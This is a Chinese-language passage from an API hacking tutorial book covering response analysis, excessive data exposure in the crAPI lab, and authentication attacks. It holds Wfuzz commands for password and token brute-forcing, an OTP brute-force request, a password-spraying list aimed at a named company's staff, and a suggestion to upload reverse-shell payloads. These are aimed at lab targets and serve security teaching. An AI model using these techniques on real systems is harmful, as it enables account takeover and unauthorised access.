你可能需要找到一种方法来获取管理员权限。在 Pixi 的案例中,图 7-13 中的文档明确告诉我们,我们需要一个 x-access-token 才能对 /api/admin/users/search 端点执行 GET 请求。当你测试这个管理员端点时,你会发现 Pixi 已经采取了基本的安全控制措施,防止未授权用户使用管理员端点。

图 7-13:Pixi 管理员端点的要求
确保最基本的安全控制到位是一个有用的做法。更重要的是,受保护的管理员端点为我们接下来的测试步骤设立了目标;我们现在知道,为了使用此功能,我们需要获得一个管理员 JWT。
分析 API 响应
由于大多数 API 是为了自助服务而设计的,开发者通常会在 API 响应中留下某些提示,以便在事情进展不顺利时帮助我们。作为 API 黑客,你需要掌握的最基本技能之一就是分析你收到的响应。这通常是通过发起请求并查看响应状态码、头部信息以及响应体中的内容来完成的。
首先检查你是否收到了预期的响应。API 文档有时会提供你可能收到的响应示例。然而,一旦你开始以非预期的方式使用 API,你将无法知道自己会得到什么响应,这就是为什么在进入攻击模式之前,先按照 API 设计的方式使用它会更有帮助。培养对正常行为和异常行为的敏感度会使漏洞变得更加明显。
目前,你的漏洞搜索正式开始了。既然你已经在与 API 进行交互,你应该能够找到信息泄露、安全配置错误、过度的数据暴露以及业务逻辑漏洞,而且这一切不需要太高的技术技巧。现在是时候引入黑客攻击中最重要的要素:对抗性思维。接下来的部分,我将告诉你应该寻找什么。
查找信息泄露
信息泄露通常是我们测试的燃料。任何帮助我们利用 API 的信息都可以视为信息泄露,无论是有趣的状态码、头部信息还是用户数据。在发起请求时,你应该检查响应中的软件信息、用户名、电子邮件地址、电话号码、密码要求、账户号码、合作公司名称,以及目标声明为有用的任何信息。
头部信息可能会无意中泄露应用程序不必要的更多信息。有些头部信息,例如 X-powered-by,基本没有作用,而且常常暴露后台信息。当然,仅凭这些信息不能直接导致利用,但它可以帮助我们知道应该制作什么样的有效负载,并揭示潜在的应用弱点。
状态码也可以泄露有用的信息。如果你通过暴力破解不同端点的路径并收到状态码为 404 Not Found 和 401 Unauthorized 的响应,你就可以将 API 的端点映射出来,作为一个未授权用户。这种简单的信息泄露如果出现在带有不同查询参数的请求中,情况会变得更加糟糕。假设你能够使用查询参数,比如客户的电话号码、账户号码和电子邮件地址。然后,你可以暴力破解这些项目,将 404 视为不存在的值,将 401 视为存在的值。现在,可能不需要太多的想象力就能看出,这种信息如何对你有所帮助。你可以进行密码喷洒;测试密码重发机制,或者进行钓鱼、语音钓鱼和短信钓鱼。你也有可能将查询参数配对,利用独特的状态码提取个人身份信息。
API 文档本身可能也是一种信息泄露风险。例如,它通常是业务逻辑漏洞的一个极好信息来源,正如第三章所讨论的那样。此外,管理 API 文档通常会告诉你管理员端点、所需的参数,以及获取指定参数的方法。这些信息可以用来帮助你进行授权攻击(例如 BOLA 和 BFLA),这些内容将在后续章节中讨论。
当你开始利用 API 漏洞时,务必记录下 API 提供者给你提供的哪些头信息、独特的状态码、文档或其他线索。
查找安全配置错误
安全配置错误包括多种不同的项。在你测试的这个阶段,寻找冗长的错误信息、较差的传输加密和其他有问题的配置。这些问题中的每一个都可以在以后利用 API 时派上用场。
冗长的错误信息
错误信息旨在帮助提供方和消费方的开发人员理解发生了什么错误。例如,如果 API 要求你 POST 用户名和密码以获取 API 令牌,检查提供方如何回应已存在和不存在的用户名。对于不存在的用户名,常见的回应方式是错误信息“用户不存在,请提供有效的用户名。”当用户名存在但密码错误时,你可能会收到错误信息“密码无效。”这种小小的错误响应差异是一种信息泄露,你可以利用它暴力破解用户名,进而在后续攻击中使用。
较差的传输加密
在野外发现没有传输加密的 API 是罕见的。我仅在提供商认为其 API 只包含不敏感的公共信息时遇到过这种情况。在这种情况下,挑战在于你是否能够通过使用 API 发现任何敏感信息。在所有其他情况下,请务必检查 API 是否具有有效的传输加密。如果 API 传输任何敏感信息,应该使用 HTTPS。
为了攻击具有传输安全漏洞的 API,你需要执行中间人(MITM)攻击,拦截提供商和消费者之间的流量。因为 HTTP 发送的是未加密的流量,你将能够读取拦截到的请求和响应。即使在提供商端使用了 HTTPS,也要检查消费者是否能发起 HTTP 请求并将其令牌以明文形式共享。
使用像 Wireshark 这样的工具来捕获网络流量,查找通过你所连接的网络传输的明文 API 请求。在图 7-14 中,消费者已向 HTTPS 保护的reqres.in发出了 HTTP 请求。如你所见,路径中的 API 令牌是明文的。

图 7-14:Wireshark 捕获的 HTTP 请求中的用户令牌
配置问题
调试页面是一种安全配置错误,可能暴露大量有用信息。我遇到过许多启用了调试功能的 API。在新开发的 API 和测试环境中,发现这种配置错误的机会更大。例如,在图 7-15 中,你不仅可以看到 404 错误的默认着陆页和该提供商的所有端点,还可以看到应用程序是由 Django 驱动的。

图 7-15:Tiredful API 的调试页面
这个发现可能会促使你研究在启用 Django 调试模式时可能会发生的恶意操作。
发现过度数据暴露
如第三章所述,过度的数据暴露是一种漏洞,发生在 API 提供商发送比 API 消费者请求更多的信息时。这是因为开发者设计 API 时依赖于消费者过滤结果。
在大规模测试数据暴露过多时,最好使用像 Postman 的 Collection Runner 这样的工具,它可以帮助你快速发出许多请求,并提供一种便捷的方式来查看结果。如果提供商回应的内容超过了你所需的信息,那么你可能发现了一个漏洞。
当然,并不是每一个多余的数据字节都应视为漏洞;你应该关注那些在攻击中可能有用的多余信息。真正的过度数据暴露漏洞通常是显而易见的,因为提供的数据量极大。想象一个端点能够搜索用户名。如果你查询一个用户名并收到了该用户名加上用户最后登录的时间戳,这是多余的数据,但几乎没有用处。现在,如果你查询用户名并且得到了该用户名、用户的全名、电子邮件和生日,你就找到了一个漏洞。例如,假设对https://secure.example.com/api/users/hapi_hacker发出的 GET 请求本应返回有关 hapi_hacker 账户的信息,但响应如下:
{
"user": {
"id": 1124,
"admin": false,
"username": hapi_hacker,
"multifactor": false
}
"sales_assoc": {
"email": "admin@example.com",
"admin": true,
"username": super_sales_admin,
"multifactor": false
}
如你所见,曾请求过 hapi_hacker 账户,但响应中却包含了管理员账户和安全设置。响应不仅提供了管理员的电子邮件地址和用户名,还告诉你该管理员是否启用了多因素认证。这种漏洞相当常见,并且对于获取私人信息非常有用。此外,如果一个端点和方法存在过多的数据暴露漏洞,你可以肯定,其他地方也会有类似的问题。
发现业务逻辑缺陷
OWASP 提供了关于测试业务逻辑漏洞的建议(owasp.org/www-community/vulnerabilities/Business_logic_vulnerability):
你需要评估可能利用该问题的威胁代理,以及是否能够被检测到。同样,这需要对业务有深刻的理解。这些漏洞本身通常非常容易被发现和利用,无需任何特殊工具或技术,因为它们是应用程序的支持部分。
换句话说,由于业务逻辑漏洞是每个业务及其逻辑特有的,因此很难预见你将发现哪些具体的漏洞。发现并利用这些漏洞通常只是将 API 的功能反过来用于攻击 API 提供者。
业务逻辑缺陷可能会在你查看 API 文档时就被发现,例如发现文档中指出了如何不使用该应用程序。(第三章列出了那些应该立刻引起你漏洞警觉的描述类型。)当你发现这些时,你的下一步应该显而易见:做文档中不推荐的事情!考虑以下示例:
-
如果文档告诉你不要执行 X 操作,那就执行 X 操作。
-
如果文档告诉你某种格式的数据未进行验证,上传一个反向 shell 有效负载并尝试找到执行它的方法。测试可以上传的文件大小。如果缺乏速率限制且文件大小未被验证,那么你已经发现了一个严重的商业逻辑漏洞,这将导致拒绝服务攻击。
-
如果文档告诉你所有文件格式都可以接受,上传文件并测试所有文件扩展名。你可以找到一个名为 file-ext 的文件扩展名列表供此目的使用(
github.com/hAPI-hacker/Hacking-APIs/tree/main/Wordlists)。如果你能够上传这些文件,下一步是检查是否能够执行它们。
除了依赖文档中的线索之外,还需要考虑给定端点的功能,以确定恶意人员如何利用这些功能为自己谋利。商业逻辑漏洞的挑战性在于它们是每个业务特有的。识别这些特性作为漏洞需要戴上你的“邪恶天才帽”,并发挥你的想象力。
总结
在本章中,你学会了如何查找有关 API 请求的信息,以便将其加载到 Postman 中并开始测试。接着,你学会了如何按预期使用 API,并分析响应中的常见漏洞。你可以使用所描述的技术开始对 API 进行漏洞测试。有时,所有需要做的就是以对抗性心态使用 API,便能发现关键问题。在下一章中,我们将攻击 API 的认证机制。
实验 #4:构建 crAPI 集合并发现过度数据暴露
在第六章中,我们发现了 crAPI API 的存在。现在我们将利用本章所学开始分析 crAPI 的端点。在本实验中,我们将注册一个账户,登录 crAPI 并分析该应用的各种功能。在第八章中,我们将攻击 API 的认证过程。现在,我将引导你完成从浏览网页应用到分析 API 端点的自然流程。我们将从头开始构建请求集合,然后逐步找到一个具有严重影响的过度数据暴露漏洞。
在 Kali 机器的网页浏览器中,导航至 crAPI 网络应用程序。在我的情况下,易受攻击的应用位于 192.168.195.130,但你的地址可能不同。注册一个 crAPI 网络应用账户。crAPI 注册页面要求填写所有字段,并具有密码复杂度要求(见图 7-16)。

图 7-16:crAPI 账户注册页面
由于我们对该应用程序使用的 API 一无所知,我们将通过 Burp Suite 代理请求,以查看图形界面下发生了什么。设置好您的代理并点击 Signup 启动请求。您应该会看到该应用程序向 /identity/api/auth/signup 端点提交了一个 POST 请求(见 图 7-17)。
请注意,请求包含一个 JSON 有效载荷,其中包含您在注册表单中提供的所有答案。

图 7-17:拦截的 crAPI 身份验证请求
现在我们已经发现了第一个 crAPI API 请求,我们将开始构建 Postman 集合。在集合下点击 Options 按钮,然后添加一个新请求。确保您在 Postman 中构建的请求与您拦截的请求相匹配:向 /identity/api/auth/signup 端点发送 POST 请求,正文为 JSON 对象(见 图 7-18)。

图 7-18:Postman 中的 crAPI 注册请求
测试请求以确保它已正确构建,因为在这一点上,实际上可能有很多错误。例如,您的端点或正文可能包含拼写错误,您可能忘记将请求方法从 GET 更改为 POST,或者您可能没有匹配原始请求的头部。验证是否正确复制请求的唯一方法是发送请求,查看服务提供商如何响应,并在需要时进行故障排除。以下是排除第一个请求错误的几个提示:
-
如果收到状态码 415 Unsupported Media Type,您需要更新
Content-Type头,使其值为 application/json。 -
crAPI 应用程序不允许使用相同的电话号码或电子邮件创建两个账户,因此如果您已经在图形界面中注册,您可能需要在请求正文中更改这些值。
当您收到状态 200 OK 响应时,您就知道请求已经准备好。收到成功响应后,务必保存您的请求!
现在我们已经将注册请求保存到我们的 crAPI 集合中,登录到 Web 应用程序查看还有哪些 API 构件可以发现。使用您注册时的电子邮件和密码代理登录请求。当您提交成功的登录请求时,您应该会收到来自应用程序的 Bearer token(见 图 7-19)。您需要在接下来的所有认证请求中包含这个 Bearer token。

图 7-19:成功登录到 crAPI 后拦截的请求
将这个 Bearer token 添加到您的集合中,作为授权方法或变量。我将其作为授权方法保存,类型设置为 Bearer Token,如 图 7-20 所示。

图 7-20:Postman 集合编辑器
继续在浏览器中使用该应用程序,代理其流量,并将你发现的请求保存到集合中。尝试使用应用程序的不同部分,例如仪表盘、商店和社区等。务必寻找我们在本章讨论过的有趣功能。
有一个特别的端点应该引起你的注意,仅仅因为它涉及到其他 crAPI 用户:论坛。在浏览器中按预期使用 crAPI 论坛并拦截请求。向论坛提交评论将生成一个 POST 请求。将该 POST 请求保存到集合中。现在,将用于填充社区论坛的请求发送到 /community/api/v2/community/posts/recent 端点。在列表 7-1 中的 JSON 响应正文中注意到什么重要信息了吗?
"id": "fyRGJWyeEjKexxyYpQcRdZ",
"title": "test",
"content": "test",
"author": {
"nickname": "hapi hacker",
"email": "a@b.com",
"vehicleid": "493f426c-a820-402e-8be8-bbfc52999e7c",
"profile_pic_url": "",
"created_at": "2021-02-14T21:38:07.126Z"
},
"comments": [],
"authorid": 6,
"CreatedAt": "2021-02-14T21:38:07.126Z"
},
{
"id": "CLnAGQPR4qDCwLPgTSTAQU",
"title": "Title 3",
"content": "Hello world 3",
"author": {
"nickname": "Robot",
"email": "robot001@example.com",
"vehicleid": "76442a32-f32f-4d7d-ae05-3e8c995f68ce",
"profile_pic_url": "",
"created_at": "2021-02-14T19:02:42.907Z"
},
"comments": [],
"authorid": 3,
"CreatedAt": "2021-02-14T19:02:42.907Z"
}
列表 7-1:从 /community/api/v2/community/posts/recent 端点接收到的 JSON 响应示例
你不仅收到了你帖子对应的 JSON 对象,还收到了论坛中每个帖子的相关信息。这些对象包含了比所需更多的信息,包括敏感信息,如用户 ID、电子邮件地址和车辆 ID。如果你已经做到这一点,恭喜你;这意味着你发现了一个过度数据暴露的漏洞。做得好!crAPI 还存在许多其他漏洞,接下来的章节中我们将利用这些发现帮助定位更多严重的漏洞。
第九章:攻击认证

在测试认证时,你会发现许多困扰 Web 应用程序数十年的缺陷已经被移植到了 API 中:糟糕的密码和密码要求、默认凭证、冗长的错误信息以及糟糕的密码重置流程。
此外,API 中常见的一些弱点比传统的 Web 应用程序更为普遍。API 认证漏洞有多种形式。你可能会遇到完全没有认证、没有对认证尝试进行速率限制、为所有请求使用相同的令牌或密钥、使用熵不足的令牌以及一些 JSON Web Token(JWT)配置漏洞。
本章将引导你了解经典的认证攻击,如暴力破解攻击和密码喷洒攻击,之后我们将讨论特定于 API 的令牌攻击,例如令牌伪造和 JWT 攻击。一般来说,这些攻击都有一个共同的目标,即获得未授权访问,无论是从无访问状态到未授权访问状态,从其他用户的资源中获得访问权限,还是从有限的 API 访问状态升级为特权访问状态。
经典认证攻击
在第二章中,我们介绍了 API 中使用的最简单的认证方式:基本认证。要使用此方法进行认证,消费者会发送一个包含用户名和密码的请求。如我们所知,RESTful API 不保持状态,因此,如果 API 在整个 API 中使用基本认证,每个请求都必须带上用户名和密码。因此,提供者通常只在注册过程中使用基本认证。然后,在用户成功认证后,提供者会发放 API 密钥或令牌。提供者接着会检查用户名和密码是否与存储的认证信息匹配。如果凭证匹配,提供者会返回成功响应。如果不匹配,API 可能会返回几种响应之一。提供者可能会对所有错误的认证尝试发送一个通用响应:“用户名或密码错误。”这会告诉我们最少的信息,但有时提供者会倾向于方便消费者,提供更多有用的信息。提供者可能会特别告诉我们某个用户名不存在。那么我们就会得到一个可以帮助我们发现并验证用户名的响应。
密码暴力破解攻击
获得 API 访问权限的一种更直接的方法是进行暴力破解攻击。暴力破解 API 的身份验证与其他暴力破解攻击没有太大区别,只不过你会将请求发送到 API 端点,负载通常是 JSON 格式,并且身份验证值可能是 base64 编码的。暴力破解攻击通常会发出很大的噪音,耗时且粗暴,但如果 API 缺乏防止暴力破解攻击的安全控制,我们不应该避免利用这一点来获得优势。
微调暴力破解攻击的最佳方法之一是生成针对目标的密码。为此,你可以利用在数据泄露漏洞中揭示的信息,比如你在实验室 #4 中发现的漏洞,来编制用户名和密码列表。泄露的数据可能揭示有关用户帐户的技术细节,例如用户是否使用了多因素认证,是否使用了默认密码,以及帐户是否已激活。如果泄露的数据涉及用户信息,你可以将其输入到能够生成大型、有针对性的密码列表的工具中,以进行暴力破解攻击。有关创建针对性密码列表的更多信息,请查看 Mentalist 应用程序(github.com/sc0tfree/mentalist)或常见用户密码分析工具(github.com/Mebus/cupp)。
一旦你有了合适的字典来进行暴力破解攻击,你可以使用像 Burp Suite 的暴力破解工具或第四章介绍的 Wfuzz 等工具。以下示例使用 Wfuzz 和一个旧的、广为人知的密码列表 rockyou.txt:
$ **wfuzz -d '{"email":"a@email.com","password":"FUZZ"}' --hc 405 -H 'Content-Type: application/json' -z file,/home/hapihacker/rockyou.txt http://192.168.195.130:8888/api/v2/auth**
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000000007: 200 0 L 1 W 225 Ch "Password1!"
000000005: 400 0 L 34 W 474 Ch "win"
-d 选项允许你模糊化发送在 POST 请求体中的内容。后面的花括号包含了 POST 请求体。为了发现此示例中使用的请求格式,我尝试使用浏览器进行身份验证,然后捕获了身份验证请求并在这里复制了它的结构。在这个例子中,Web 应用发出了包含 "email" 和 "password" 参数的 POST 请求。每个 API 的请求体结构会有所不同。在此示例中,你可以看到我们指定了一个已知的电子邮件并将 FUZZ 参数用作密码。
--hc 选项用于隐藏带有特定响应代码的响应。如果你经常在许多请求中收到相同的状态代码、字长和字符数,这个选项很有用。如果你知道目标的典型失败响应是什么样的,那么就没有必要看到数百或数千个相同的响应。–hc 选项可以帮助你过滤掉不想看到的响应。
在测试实例中,典型的失败请求会返回 405 状态码,但这在不同的 API 中可能有所不同。接下来,-H 选项允许你在请求中添加一个头部。如果你在发送 JSON 数据时没有包含 Content-Type:application/json 头部,某些 API 提供者可能会返回 HTTP 415 不支持的媒体类型错误码。
一旦请求发送完毕,你可以在命令行中查看结果。如果你的 –hc Wfuzz 选项生效,那么结果应该相对容易阅读。否则,200 到 300 范围的状态码通常表明你已经成功破解了凭证。
密码重置和多因素认证暴力破解攻击
虽然你可以将暴力破解技术直接应用于认证请求,但你也可以将其用于密码重置和多因素认证(MFA)功能。如果密码重置过程包括安全问题,并且没有对请求进行速率限制,那么我们就可以在这种攻击中加以利用。
与 GUI Web 应用程序类似,API 通常会使用 SMS 恢复码或一次性密码(OTP)来验证想要重置密码的用户身份。此外,提供者可能会在成功的身份验证尝试中部署 MFA,因此你需要绕过该过程才能访问账户。在后台,API 通常会通过一个服务来实现此功能,向与账户关联的电话号码或电子邮件发送一个四到六位数的验证码。如果我们没有被速率限制阻止,我们应该能够通过暴力破解这些验证码来访问目标账户。
首先捕获相关过程的请求,例如密码重置过程。在以下请求中,你可以看到消费者在请求体中包括了一个 OTP,以及用户名和新密码。因此,要重置用户的密码,我们需要猜测 OTP。
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 192.168.195.130:8888
User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv: 78.0) Gecko/20100101
Accept: */*
Accept -Language: en-US, en;q=0.5
Accept-Encoding: gzip,deflate
Referer: http://192.168.195.130:8888/forgot-password
Content-Type: application/json
Origin: http://192.168.195.130:8888
Content-Length: 62
Connection: close
{
"email":"a@email.com",
**"otp":"1234"**,
"password": "Newpassword"
}
在这个示例中,我们将利用 Burp Suite 中的暴力破解负载类型,但你也可以使用 Wfuzz 配置并运行一个等效的攻击,使用暴力破解选项。一旦你在 Burp Suite 中捕获到密码重置请求,突出显示 OTP 并添加第四章讨论的攻击位置标记,将该值转化为变量。接下来,选择 Payloads 选项卡,并将负载类型设置为 brute forcer(参见 图 8-1)。

图 8-1:配置 Burp Suite Intruder,设置暴力破解负载类型
如果你正确配置了负载设置,它们应该与图 8-1 中的设置匹配。在字符集字段中,只包含数字和用于一次性密码(OTP)的字符。在其详细错误信息中,API 提供者可能会指明它期望的值。你通常可以通过启动你自己账户的密码重置并查看 OTP 的组成来测试这一点。例如,如果 API 使用的是四位数字验证码,那么将数字 0 到 9 添加到字符集中。然后将验证码的最小和最大长度设置为4。
对密码重置代码进行暴力破解绝对值得一试。然而,许多 Web 应用会同时强制实施速率限制,并限制你猜测 OTP 的次数。如果速率限制阻碍了你,你可以尝试第十三章中的某些规避技巧。
密码喷射攻击
许多安全控制措施可能会阻止你成功暴力破解 API 的身份验证。一种叫做密码喷射攻击的技巧能够通过将一个长用户列表与一个短目标密码列表相结合,避开这些控制。假设你知道某个 API 的身份验证过程有一个锁定策略,并且只允许 10 次登录尝试。你可以制作一个包含九个最可能密码的列表(比限制少一个密码),然后用这些密码尝试登录许多用户账户。
当你进行密码喷射攻击时,像rockyou.txt这样的庞大且过时的词库将不起作用。这样的文件中包含了太多不太可能的密码,无法取得任何成功。相反,你应该根据 API 提供者的密码策略约束(你可以在侦察过程中发现这些约束),制作一个简短的可能密码列表。大多数密码策略可能要求最小字符长度、大写字母和小写字母,可能还会要求数字或特殊字符。
尝试将你的密码喷射列表与两种低阻力路径(POS)密码混合,或者是那些足够简单以供猜测,但又足够复杂以满足基本密码要求的密码(通常要求至少八个字符、一个符号、大小写字母和一个数字)。第一种类型包括明显的密码,如 QWER!@#$、Password1!,以及公式季节+年份+符号(例如 Winter2021!、Spring2021?、Fall2021!和 Autumn2021?)。第二种类型包括更为复杂的密码,这些密码通常直接与目标相关,通常包含一个大写字母、一个数字、组织的某个细节和一个符号。如果我要攻击 Twitter 员工的端点,以下是我可能生成的一个简短密码喷射列表:
-
Winter2021!
-
Spring2021!
-
QWER!@#$
-
Password1!
-
March212006!
-
July152006!
-
Twitter@2022
-
JPD1976!
-
Dorsey@2021
密码喷射攻击的关键在于最大化你的用户列表。你包含的用户名越多,获得访问权限的机会就越大。在进行侦察工作时,或者通过发现过度的数据暴露漏洞来构建用户列表。
在 Burp Suite 的 Intruder 中,你可以以类似标准暴力破解攻击的方式设置此攻击,唯一的区别是你将同时使用用户列表和密码列表。选择 cluster bomb 攻击类型,并将攻击位置设置在用户名和密码周围,如图 8-2 所示。

图 8-2:使用 Intruder 进行凭证喷射攻击的示例
请注意,第一个攻击位置设置为替换 @email.com 前的用户名,如果你只针对特定电子邮件域名的用户进行测试,可以这样做。
接下来,将收集的用户列表添加为第一个有效载荷集,将一个简短的密码列表作为第二个有效载荷集。一旦你的有效载荷如图 8-3 所示配置好,你就可以开始执行密码喷射攻击。

图 8-3:Burp Suite Intruder 的 cluster bomb 攻击示例有效载荷
当你分析结果时,如果你大致了解标准成功登录的样子,会有所帮助。如果不确定,可以通过检查返回的长度和响应代码中的异常来寻找线索。大多数 Web 应用程序在成功登录时返回的 HTTP 状态代码位于 200 或 300 系列。在图 8-4 中,你可以看到一次成功的密码喷射攻击,其中有两个异常特征:状态代码为 200,响应长度为 682。

图 8-4:使用 Intruder 进行成功密码喷射攻击的示例
为了帮助通过 Intruder 识别异常,你可以按状态代码或响应长度对结果进行排序。
在暴力破解攻击中包含 Base64 身份验证
一些 API 会对 API 请求中发送的身份验证有效载荷进行 Base64 编码。这样做有很多原因,但需要知道的是,安全性并不是其中之一。你可以轻松绕过这个小小的不便。
如果你测试身份验证尝试并注意到一个 API 正在进行 base64 编码,它很可能是在后台将数据与 base64 编码的凭据进行比较。这意味着你应该调整你的模糊测试攻击,包括使用 Burp Suite Intruder 进行 base64 有效负载,它可以同时进行 base64 的编码和解码。例如,图 8-5 中的密码和邮箱值是 base64 编码的。你可以通过高亮显示有效负载,右键单击并选择Base64 解码(或快捷键 ctrl-shift-B)来解码它们。这将揭示有效负载内容,让你可以看到它的格式。
比如,要使用 base64 编码执行密码喷洒攻击,首先选择攻击位置。在本例中,我们将选择图 8-5 中的 base64 编码密码。接下来,添加有效负载集;我们将使用上一节列出的密码。
现在,为了在请求发送之前对每个密码进行编码,我们必须使用一个有效负载处理规则。在“有效负载”标签下有一个选项可以添加这样的规则。选择添加▶编码▶Base64 编码,然后点击确定。你的有效负载处理窗口应该如下所示:图 8-6。

图 8-5:使用 Burp Suite Intruder 解码 base64

图 8-6:在 Burp Suite Intruder 中添加有效负载处理规则
现在,你的 base64 编码的密码喷洒攻击已经准备好启动。
伪造令牌
如果正确实现,令牌可以成为 API 验证用户并授权他们访问资源的优秀方法。然而,如果在生成、处理或处理令牌时出现问题,它们就会成为我们进入系统的钥匙。
令牌的问题在于它们可能被窃取、泄露或伪造。我们已经在第六章中介绍了如何窃取和查找泄露的令牌。在本节中,我将指导你如何在令牌生成过程中存在漏洞时伪造自己的令牌。这首先需要分析 API 提供方的令牌生成过程是否具有可预测性。如果我们能发现提供的令牌中存在任何模式,可能就能够伪造自己的令牌或劫持其他用户的令牌。
API 通常会使用令牌作为授权方法。消费者可能首先需要使用用户名和密码组合进行身份验证,但之后,提供方会生成一个令牌并将该令牌提供给消费者,用于他们的 API 请求。如果令牌生成过程存在缺陷,我们就能够分析令牌,劫持其他用户的令牌,然后使用它们访问受影响用户的资源和额外的 API 功能。
Burp Suite 的 Sequencer 提供两种令牌分析方法:手动分析提供的文本文件中的令牌和执行实时捕获以自动生成令牌。我将引导你完成这两个过程。
手动加载分析
要执行手动加载分析,请选择Sequencer模块并选择Manual Load标签。点击Load并提供要分析的令牌列表。样本中的令牌越多,结果会越好。Sequencer 至少需要 100 个令牌才能执行基本分析,其中包括位级分析,或将令牌转换为比特集合后进行的自动化分析。这些比特集合会通过一系列压缩、相关性和频谱测试,同时还包括基于联邦信息处理标准(FIPS)140-2 安全要求的四个测试。
完整的分析还包括字符级分析,这是在原始令牌形式中对每个字符在特定位置进行的一系列测试。然后,令牌会经过字符计数分析和字符过渡分析,这两个测试分别分析字符在令牌中的分布以及令牌之间的差异。要执行完整分析,Sequencer 可能需要成千上万的令牌,具体取决于每个令牌的大小和复杂性。
令牌加载完成后,你应该能看到加载的令牌总数、最短的令牌和最长的令牌,如图 8-7 所示。

图 8-7:Burp Suite Sequencer 中手动加载的令牌
现在你可以点击Analyze Now开始分析。Burp Suite 会生成一份报告(见图 8-8)。

图 8-8:Sequencer 提供的令牌分析报告的摘要标签
令牌分析报告以结果摘要开始。总体结果包括令牌样本中随机性的质量。在图 8-8 中,你可以看到随机性质量极差,表明我们很可能能够通过暴力破解其他现有的令牌。
为了最小化暴力破解令牌所需的工作量,我们希望确定令牌中哪些部分不变,哪些部分经常变化。使用字符位置分析来确定哪些字符应进行暴力破解(见图 8-9)。你可以在字符级分析标签下的字符集选项中找到此功能。
如你所见,令牌的字符位置变化不大,除了最后三个字符;字符串Ab4dt0k3n在整个采样过程中保持不变。现在我们知道应该对最后三个字符进行暴力破解,而不触动令牌的其余部分。

图 8-9:Sequencer 的字符级分析中找到的字符位置图表
实时令牌捕获分析
Burp Suite 的 Sequencer 可以自动请求 API 提供者生成 20,000 个令牌进行分析。为此,我们只需拦截提供者的令牌生成过程,然后配置 Sequencer。Burp Suite 将重复令牌生成过程,最多达到 20,000 次,以分析令牌之间的相似性。
在 Burp Suite 中,拦截启动令牌生成过程的请求。选择操作(或右键点击请求),然后将其转发到 Sequencer。在 Sequencer 中,确保选中了实时捕获标签,然后在响应中的令牌位置下,选择为自定义位置配置选项。如图 8-10 所示,选中生成的令牌并点击确定。
选择开始实时捕获。Burp Sequencer 现在将开始捕获令牌进行分析。如果你选中“自动分析”复选框,Sequencer 将在不同的里程碑处显示有效的熵结果。
除了执行熵分析,Burp Suite 还会为你提供大量的令牌,这些令牌在绕过安全控制时可能会非常有用(我们在第十三章中探讨这一话题)。如果某个 API 在创建新令牌后没有使旧令牌失效,并且安全控制使用令牌作为身份验证方法,那么你现在就有最多 20,000 个身份,可以帮助你避免被检测到。
如果某些令牌字符位置的熵较低,你可以尝试对这些字符位置进行暴力攻击。审查熵低的令牌可能会揭示出你可以利用的某些模式。例如,如果你发现某些位置的字符只包含小写字母,或某个范围内的数字,你将能够通过减少请求尝试的次数来增强暴力破解攻击。

图 8-10:选中的 API 提供者令牌响应进行分析
暴力破解可预测的令牌
让我们回到手动负载分析中发现的坏令牌(其最后三个字符是唯一变化的部分),并对可能的字母和数字组合进行暴力破解,以找到其他有效的令牌。一旦发现有效令牌,我们可以测试对 API 的访问并找出我们被授权执行的操作。
当你通过字母和数字的组合进行暴力破解时,最好尽量减少变量的数量。字符级分析已经告诉我们,令牌Ab4dt0k3n的前九个字符保持静态。最后三个字符是变量,根据样本,我们可以看到它们遵循字母 1 + 字母 2 + 数字的模式。此外,令牌样本告诉我们,字母 1仅由a到d之间的字母组成。像这样的观察将帮助我们减少所需的暴力破解总量。
使用 Burp Suite Intruder 或 Wfuzz 对弱令牌进行暴力破解。在 Burp Suite 中,捕获一个需要令牌的 API 端点请求。在图 8-11 中,我们使用对 /identity/api/v2/user/dashboard 端点的 GET 请求,并将令牌作为头信息。将捕获的请求发送到 Intruder,并在 Intruder 有效载荷位置选项卡下选择攻击位置。

图 8-11:Burp Suite Intruder 中的 Cluster Bomb 攻击
由于我们仅暴力破解最后三个字符,因此创建三个攻击位置:一个用于倒数第三个字符,一个用于倒数第二个字符,一个用于最后一个字符。将攻击类型更新为cluster bomb,这样 Intruder 就会遍历每个可能的组合。接下来,配置有效载荷,如图 8-12 所示。

图 8-12:Burp Suite 的 Intruder 中的有效载荷选项卡
选择Payload Set编号,它代表特定的攻击位置,并将有效载荷类型设置为brute forcer。在字符集字段中,包含要在该位置测试的所有数字和字母。由于前两个有效载荷是字母,我们将尝试从a到d的所有字母。对于有效载荷集 3,字符集应包括数字 0 到 9。将最小长度和最大长度都设置为1,因为每个攻击位置只有一个字符。启动攻击后,Burp Suite 将发送所有 160 种令牌可能性请求到该端点。
Burp Suite CE 限制了 Intruder 请求的速度。作为更快且免费的替代方案,你可能希望使用 Wfuzz,方法如下:
$ **wfuzz -u vulnexample.com/api/v2/user/dashboard –hc 404 -H "token: Ab4dt0k3nFUZZFUZ2ZFUZ3Z1" -z list,a-b-c-d -z list,a-b-c-d -z range,0-9**
============================================================================
ID Response Lines Word Chars Payload
============================================================================
000000117: 200 1 L 10 W 345 Ch " Ab4dt0k3nca1"
000000118: 200 1 L 10 W 345 Ch " Ab4dt0k3ncb2"
000000119: 200 1 L 10 W 345 Ch " Ab4dt0k3ncc3"
000000120: 200 1 L 10 W 345 Ch " Ab4dt0k3ncd4"
000000121: 200 1 L 10 W 345 Ch " Ab4dt0k3nce5"
在请求中使用-H包含头部令牌。要指定三个有效载荷位置,将第一个标记为FUZZ,第二个标记为FUZ2Z,第三个标记为FUZ3Z。在-z后列出有效载荷。我们使用-z list,a-b-c-d来循环遍历前两个有效载荷位置的字母a到d,并使用-z range,0-9来循环遍历最后一个有效载荷位置的数字。
拥有有效令牌的列表后,可以在 API 请求中利用它们,以了解它们所具备的权限。如果你有 Postman 中的一组请求,可以尝试简单地将令牌变量更新为捕获到的令牌,并使用 Postman Runner 快速测试集合中的所有请求。这应该能帮助你大致了解给定令牌的能力。
JSON Web Token 滥用
我在第二章中介绍了 JSON Web Token(JWT)。它们是较为常见的 API 令牌类型之一,因为它们可以在多种编程语言中使用,包括 Python、Java、Node.js 和 Ruby。虽然上一节描述的策略同样适用于 JWT,但这些令牌可能容易受到几种额外的攻击。本节将指导你进行一些可以用来测试和攻破实现不当的 JWT 的攻击。这些攻击可能会让你获得基本的未经授权的访问权限,甚至是 API 的管理员权限。
